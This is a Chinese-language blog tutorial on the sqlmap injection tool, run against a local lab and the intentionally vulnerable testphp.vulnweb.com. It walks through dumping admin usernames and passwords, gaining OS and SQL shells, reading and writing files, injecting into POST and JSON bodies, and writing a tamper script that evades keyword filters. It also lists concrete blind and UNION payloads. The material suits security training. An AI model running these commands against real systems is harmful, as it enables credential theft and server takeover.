注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等

这篇具有很好参考价值的文章主要介绍了注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构

#知识点:

1、SQLMAP-常规猜解&字典配置
2、SQLMAP-权限操作&文件命令
3、SQLMAP-Tamper&使用&开发
4、SQLMAP-调试指纹&风险等级

#参考文章:

https://www.cnblogs.com/bmjoker/p/9326258.html

#数据猜解-库表列数据&字典

测试:http://vulnweb.com/
–current-db
–tables -D “”
–columns -T “” -D “”
–dump -C “” -C “” -T “”

1.IIS, ASP, Microsoft SQL Server(ACCESS数据库)

  • http://192.168.200.140:89/Pic.asp?classid=3
1.打开对应的UploadParsing网址,并使用其分配的IP进行访问

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

2.源码中,没有进行sql语句的过滤直接拼接,造成有注入风险
  • http://192.168.200.140:89**/Pic.asp?classid=3**

    注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

3.使用sqlmap工具进行sql注入
  • G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  • **python sqlmap.py -u "" --tables** //获取表名
    python sqlmap.py -u "" --cloumns -T admin //获取admin表名下的列名
    **python sqlmap.py -u "" --dump -C "username,password" -T admin** //获取表名下的列名数据

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --tables

    • python .\\sqlmap.py: 启动 SQLMap 工具,使用 Python 解释器运行。

    • u "<http://192.168.200.140:89/Pic.asp?classid=3>": 指定目标 URL,即要测试的网站地址。在这个例子中,目标 URL 是 http://192.168.200.140:89/Pic.asp?classid=3u 选项用于指定 URL。

    • -tables: 指定 SQLMap 工具执行的任务,这里是获取数据库中的所有表。-tables 选项用于请求表的信息。

    • 提示有注入点

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • 它询问是否要使用常见的表存在性检查方法

    • do you want to use common table existence check? [Y/n/q] y

    • 选择要使用的常见表文件的提示。用户可以选择默认的常见表文件,也可以选择自定义的常见表文件。

    • 询问用户要设置多少个线程进行测试

    • please enter number of threads? [Enter for 1 (current)] 输入10

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --columns -T admin

    • -columns: 这是 SQLMap 的一个选项,用于指示工具查找指定表的列。

    • T admin: 这是 SQLMap 的另一个选项,用于指定目标表的名称。在这里,它是 “admin” 表。

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --dump -C "username,password" -T admin

    • -dump: 这是 SQLMap 的选项,用于指示工具从数据库中检索数据。

    • C "username,password": 这是 SQLMap 的选项,用于指定要检索的列的名称。在这里,它是 “username” 和 “password” 列。

    • 得出如下的用户名和密码

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • 如果修改数据库的表名

  • 将原本的数据库中的Admin表表名修改为Adminxaiodi

  • 将相关缓存输出目录删除,继续查询

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • 再次输入**python .\sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --tables 查询表名,发现无法测出Adminxiaodi表名**

  • 原因是:使用猜测的字典中没有相关Adminxiaodi表名,所以猜不出

  • 方法:手动添加字典内容

    • 字典位置:G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap\data\txt

    • 添加内容:adminxiaodi

    • 重新运行,成功猜出

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • 猜测完毕之后,sqlmap会自动将猜测出的东西,以提供的ip名或域名,以表格的形式存储在本地,可以直接查看

    注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

    注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

2.Apache, PHP, MySQL(普通权限)

  • http://testphp.vulnweb.com/artists.php**?artist=1(有注入漏洞)**

    注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –is-dba是否是数据库管理员)(会误报)

  • 输出显示 current user is DBA: False这表示当前数据库用户不是数据库管理员。

    分析这个结果的意义如下:

    • current user is DBA: False: 当前数据库用户并非数据库管理员。数据库管理员通常具有更高的权限,可以执行更敏感的数据库操作。

    这个信息是 SQLMap 在测试过程中根据数据库的反馈来判断的。在安全测试中,了解当前用户是否是数据库管理员对于评估系统的安全性和潜在的漏洞是重要的一部分。如果 --is-dba 结果为 True,则表明当前用户是数据库管理员,可能具有更大的潜在威胁。

    注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –current-user==(获取当前用户名称,推荐使用)==

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

1.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” 使用 SQLMap 对提供的 URL 进行 SQL 注入测试
  • 这个命令的目的是使用 SQLMap 对提供的 URL 进行 SQL 注入测试。SQLMap 将自动尝试检测目标 URL 是否存在 SQL 注入漏洞
  • **heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')**这个分析结果是 SQLMap 对目标 URL 进行启发式(基本)测试后得出的结论
    • GET parameter 'artist' might be injectable: SQLMap 发现 GET 请求中的参数 ‘artist’ 可能是可注入的。
    • Possible DBMS: ‘MySQL’: SQLMap 进一步猜测目标数据库管理系统**(DBMS)可能是 MySQL。**

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

    • GET parameter ‘artist’ appears to be ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’ injectable: ==SQLMap 发现 ‘artist’ 参数可能受到 MySQL 版本大于等于 5.0.12 的时间盲注入漏洞的影响。==时间盲注入是一种 SQL 注入技巧,注入点插入类似 AND SLEEP(5) 的语句,来测试是否导致页面在执行时发生延迟。
    1. “Do you want to skip test payloads specific for other DBMSes? [Y/n]”: SQLMap 提供了一个选择,询问是否要跳过针对其他数据库管理系统的特定测试负载。在这里,如果您确认目标系统是 MySQL,并且希望专注于 MySQL 测试,可==以选择 “Y”(Yes),跳过其他 DBMS 的测试。==
    2. “For the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]”: SQLMap 进一步询问是否在剩余的测试中包括所有针对 ‘MySQL’ 的测试,同时扩展提供的 level(级别)和 risk(风险)值。在这里,如果您希望执行更全面的 MySQL 测试并扩展默认的测试级别和风险值,可以选择 “Y”(Yes)。

    注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • GET parameter ‘artist’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]

    • GET parameter ‘artist’ is vulnerable: SQLMap 确认 ‘artist’ 参数存在漏洞,即可被注入。这可能是通过前面的测试(包括时间盲注入测试)得出的结论。

    • Do you want to keep testing the others (if any)? [y/N]: SQLMap 提供了一个选择,询问是否要继续测试其他参数(如果有的话)。在这里,它询问用户是否想要继续探测其他可能存在漏洞的参数。选择 “y” 表示继续测试其他参数,

    • 得到的结论:

      1. Injection Points:
        SQLMap已经识别了一个注入点,即 GET 参数 ‘artist’。它在测试中使用了不同类型的注入测试负载来验证漏洞的存在。
      2. Boolean-based Blind Injection:
        • Type: 基于布尔的盲注(boolean-based blind)
        • Title: 使用 WHERE 或 HAVING 子句的布尔盲注
        • Payload: artist=1 AND 3483=3483
      3. Time-based Blind Injection:
        • Type: 基于时间的盲注(time-based blind)
        • Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        • Payload: artist=1 AND (SELECT 5089 FROM (SELECT(SLEEP(5)))hRNW)
      4. UNION Query Injection:
        • Type: UNION 查询注入
        • Title: 通用 UNION 查询 (NULL) - 3 列
        • Payload: artist=-1425 UNION ALL SELECT CONCAT(0x717a706a71,0x4b4c4e714344494b55456f706c6c556f5968514e647a74536f72444975414d5a6c4a5a446756726c,0x7176787171),NULL,NULL-- -
      5. Back-end DBMS Information:
        • SQLMap 进一步确认后端数据库管理系统 (DBMS) 是 MySQL,且版本是大于等于 5.0.12。
      6. Web Server and Application Information:
        • Web 服务器操作系统:Linux Ubuntu
        • Web 应用程序技术:Nginx 1.19.0, PHP 5.6.40

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

2.由于MySQL数据库,存在多种表,在检测时候应先使用:ppython sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –current-db 表示要获取当前数据库的名称。
  • 如果直接使用python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” –tables 查询所有数据库名称 显示的会特别杂乱

    注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • –current-db 表示要获取当前数据库的名称。 会简洁许多,定位在想要注入的数据库中

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

3.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” --tables -D “acuart” 并尝试获取指定数据库(“acuart”)中的所有表的名称。

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

4.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” --columns -T “users” (对指定表(“users” )进行测试,并尝试获取该表的所有列的名称)

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

5.python sqlmap.py -u “http://testphp.vulnweb.com/artists.php?artist=1” --dump -C “name,pass” --columns -T “users”(从指定表 (“users”) 中的指定列 (“name” 和 “pass”) 中检索数据,并将结果输出。)
  • 数据以表格形式保存在本地

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

#权限操作-文件&命令&交互式

测试:MYSQL高权限注入
引出权限:
–is-dba(误报) --privileges(只能通过很多false或者true判断,不明显)

推荐使用–current-user

引出文件:
–file-read --file-write --file-dest
引出命令:
–os-cmd= --os-shell --sql-shell

1.判断权限:python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” –is-dba(是否是数据库管理员)(会误报)或者==–current-user(获取当前用户名称,推荐)==

  • current user: 'root@localhost’,代表是最高权限Root权限

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

2.判断是否可注入:python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1"使用 SQLMap 对提供的 URL 进行 SQL 注入测试

  • 存在注入点
  • 且为MySQL数据库

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

3.引出命令:

–os-cmd=(在目标系统上执行操作系统命令)
–os-shell (获取一个操作系统 shell(命令行)连接)
–sql-shell**(执行SQL命令)**

  • –sql-shell (执行SQL命令)

    • select version(); (获取数据库版本信息)

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

    • select * from admin; (查询表的信息)

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

    • 输入exit退出

  • –os-cmd= (在目标系统上执行操作系统命令)

    • –os-cmd=calc (执行计算器)

      • 询问语言(直接回车默认即可

        注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

      • 路径自动查询失败,选则2(自定义路径)

      • 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)G:\develop\safety\phpstudy_pro\WWW\dome01

        注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

      • do you want to retrieve the command standard output? [Y/n/a]在 SQLMap 执行期间询问是否要获取命令的标准输出(command standard output)(输入a即可)

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • –os-shell (获取一个操作系统 shell(命令行)连接)

    • 询问语言(直接回车默认即可

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

    • 路径自动查询失败,选则2(自定义路径)

    • 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)G:\develop\safety\phpstudy_pro\WWW\dome01

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

    • os-shell> ver显示当前操作系统的版本信息)并输入y,得到回显

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

    • os-shell> ipconfig (显示ip地址)并输入a或y

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

4.引出文件:

–file-read**(文件读取)**
–file-write --file-dest(写入操作)

  • **--file-read (文件读取)**

    • **--file-read "f:\\1.txt”** 读取F盘的文件1.txt

      • do you want confirmation that the remote file ‘f:/1.txt’ has been successfully downloaded from the back-end DBMS file system? [Y/n] y

      • SQLMap 在执行时询问是否要确认从后端数据库管理系统(DBMS)文件系统成功下载了指定的远程文件 ‘f:/1.txt’。以下是对选项的解释:

        • Y (Yes): 表示你同意获取确认,以验证文件是否已成功从后端 DBMS 文件系统下载。如果选择了这个选项,SQLMap 将尝试验证文件的下载。

        注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

    • 打开保存的文件,发现成功读取

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • --file-write--file-dest 是 SQLMap 中用于执行文件写入操作的选项。

    • –file-write:此选项用于指定要写入的文件的内容。你需要提供一个文件的内容或者文件路径,SQLMap 将尝试将该内容写入目标文件。

    • –file-dest:此选项用于指定要写入内容的目标文件路径。你需要提供要写入的文件的目标路径,SQLMap 将尝试将指定的内容写入该文件。

      python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" **--file-write="f:\\1.txt" --file-dest="c:\\123.txt"**
      
      

这个命令的目的是将指定的内容(“f:\1.txt”)写入 ‘c:\123.txt’ 文件。

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

#提交方法-POST&HEAD&JSON

测试:Post Cookie Json
–data “”
–cookie “”
-r 1.txt(推荐使用)

1.在处理POST请求的时候,应该首先在页面测试

2.输入用户名和密码进行登录提交表单的测试

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

3.并进行抓包,查看对应==登录文件中负载的表单数据格式==

4.普通的字符串格式:”uname=test&pass=test”

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

–data “”
  • 该选项用于指定要发送的 POST 数据。在你的命令中,--data 的值被设置为空字符串,表示没有提供具体的 POST 数据。通常,你需要在引号内提供实际的 POST 数据,例如 **--data "**uname=test&pass=test**"**

  • 注意:指定URL需要指定,接受POST数据的URL,而不是登录的URL

    • 是:http://testphp.vulnweb.com/userinfo.php(抓取到包中是有负载数据,才是目标URL)

    注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • python sqlmap.py -u “http://testphp.vulnweb.com/userinfo.php” --data "uname=test&pass=test"
    • u "http://testphp.vulnweb.com/userinfo.php":
      • 指定目标 URL,这里是登录页面的 URL。
    • -data "uname=test&pass=test":
      • 指定 POST 请求的数据,这里是用户名 uname 和密码 pass,分别设置为 “test”。
  • 成功实现POST数据注入:

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

–cookie “”(原理一样,只做data的演示)
  • 该选项用于指定要发送的 Cookie 信息。在你的命令中,--cookie 的值也被设置为空字符串,表示没有提供具体的 Cookie 信息。通常,你需要在引号内提供实际的 Cookie 信息,例如 --cookie "sessionID=123456"
推荐使用-r 1.txt
  • 该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体
  1. 首先进行页面测试,并进行抓包

  2. 在抓包内容下查看,携带POST请求数据的页面:http://testphp.vulnweb.com**/userinfo.php**

  3. 选中对应的页面数据包,复制请求标头

  4. 复制请求数据包:uname=test&pass=test

  5. 将复制的东西,创建一个head.txt文件,并存放在sqlmap的目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  6. 将请求数据包中的数据,用*打上注入点,这样方便快捷注入注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

    1. 如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间
  7. 打开sqlmap,实行注入:python sqlmap.py-r .\head.txt

    1. 空格默认

      • QLMap 正在测试一个自定义的 POST 参数 #1*,以确定它是否是动态生成的。

      • got a 302 redirect to 'http://testphp.vulnweb.com:80/login.php':

        • 在测试过程中,得到了一个 HTTP 302 重定向到 'http://testphp.vulnweb.com:80/login.php'
      • Do you want to follow? [Y/n]:

        • SQLMap 询问是否要跟随这个重定向。即是否要按照新的 URL 继续测试。

          注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  8. 成功注入

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

5.json格式:{“username”:“admin”,“password”:“123456”}

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  1. 抓包,指定URL:http://192.168.137.1:84/sqli/json_check.php

  2. 选中对应的页面数据包,复制请求标头

  3. 复制数据包:

    {
    “username”: “admin”,
    “password”: “123456”
    }

  4. 将复制的东西,==创建一个json.txt==文件,并存放在sqlmap的目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

  5. 将请求数据包中的数据,用*打上注入点,这样方便快捷注入

    1. 如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间

      {
      “username”: “admin*****”,
      “password”: “123456*****”
      }

  6. 打开sqlmap,实行注入:python sqlmap.py-r .\json.txt

  7. SQLMap 发现了多个注入点,并要求你选择一个用于后续注入测试的注入点。以下是对该提示的解释:默认选0即可

    • [0] place: (custom) POST, parameter: JSON #1*, type: Single quoted string (default):

      • 选项 0 表示注入点位于自定义 POST 请求的 JSON 参数 #1*,类型是单引号字符串。这是默认选择。
    • [1] place: (custom) POST, parameter: JSON #2*, type: Single quoted string:

      • 选项 1 表示注入点位于自定义 POST 请求的 JSON 参数 #2*,类型是单引号字符串。
    • [q] Quit:

      • 选项 q 表示退出选择,不选择任何注入点。

        注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

6.无论哪种格式,为了保证数据包完整性都推荐使用-r 1.txt

  • 该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体

  • 如果是json格式的POST数据包,使用–data去注入存在以下问题

    • 抓包,指定URL:http://192.168.137.1:84/sqli/json_check.php

    • 复制数据包:{“username”:“admin”,“password”:“123456”}

    • 打开sqlmap,实行注入:python sqlmap.py -u "http://192.168.137.1:84/sqli/json_check.php" --data "{"username":"admin","password":"123456"}"

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

    • **报错all tested parameters do not appear to be injectable😗*所有测试过的参数似乎都不可注入。

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

    • 原因:由于引号的影响,无法正确的读取参数,插入注入点,所以报错无法注入或没有注入点

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

    • 即使加入*,标明注入点,依旧无法正常注入

    注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

    注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

#绕过模块-Tamper脚本-使用&开发

测试:base64注入 有过滤的注入
–tamper=base64encode.py
–tamper=test.py

Tamper脚本使用

1.测试GET页面,抓包,选中带有负载数据的页面http://192.168.137.1:84/sqli/base64.php?id=MQ==

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

2.由于注入页面中有id=MQ==,判定是base64加密后的数据
3.实行sqlmap执行查看注入点:python sqlmap.py -u "http://192.168.137.1:84/sqli/base64.php?id=MQ=="
4.报错无注入点:原因base64编码,导致注入语句怎样拼接都无法成功解码注入

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

5.采用sqlmap中自带的Tamper脚本,解决base64编码解码问题

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

6.引入Tamper脚本base64encode.py,再次实行注入:python sqlmap.py -u “http://192.168.137.1:84/sqli/base64.php?id=MQ==” –tamper=base64encode.py成功注入

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

Tamper脚本开发思路:

(1)前期分析检测判断过滤条件,
(2)分析过滤条件实行转换为对应的python代码,
(3)将代码放入sqlmap实验是否可以绕过过滤

1.在代码中,开启对于一些注入语句的关键词,进行过滤

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

2.抓包,指定url,使用sqlmap,查看注入点:python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" 报错,由于网址开启了过滤条件,无法正常注入

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

3.随便在Tamper脚本中,复制一个模板,修改模板编写自己想要过滤的条件代码
# 导入 SQLMap 中定义的优先级枚举
from lib.core.enums import PRIORITY

# 设置 tamper 脚本的优先级为低(LOW)
**priority** = PRIORITY.LOW

# 定义一个空的函数 dependencies,用于声明脚本的依赖关系,这里没有具体的实现。
def dependencies():
    pass

# 定义 tamper 函数,它接受一个 payload 参数和其他关键字参数。
def tamper(payload, **kwargs):
    # 如果存在有效的 payload
    if payload:
        **# 替换 payload 中的一些 SQL 注入关键字,试图绕过过滤机制
        payload = payload.replace('SELECT', 'sElEct')
        payload = payload.replace('OR', 'Or')
        payload = payload.replace('AND', 'And')
        payload = payload.replace('SLEEP', 'SleeP')
        payload = payload.replace('ELT', 'Elt')**
    # 返回处理后的 payload
    return payload
4.将编写好的Tamper脚本,放置在sqlmap中的tamper目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap\tamper 并开启sqlmap进行注入:**python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” –tamper=test 成功注入

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

#分析拓展-代理&调试&指纹&风险&等级)

1、后期分析调试:

v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容

-v (0-6) 查看创建的Tamper脚本是否生效

对比前后是否使用Tamper脚本,的注入符号

  • 不使用Tamper脚本python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • 使用Tamper脚本python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -tamper=test -v 4

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • 发现使用脚本前后,注入符号由OR更改为Or,证明脚本执行成功

2、–proxy “http://xx:xx” #代理注入

  • python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” --level=3 --risk=2 –proxy “http://127.0.0.1:8080/”
  1. 确认关闭代理后,打开burp,将对应的代理的URL,使用 –proxy语句跟在sqlmap执行语句之后;

  2. 发现burp中接受到注入的的数据包,便于后期分析注入原理。

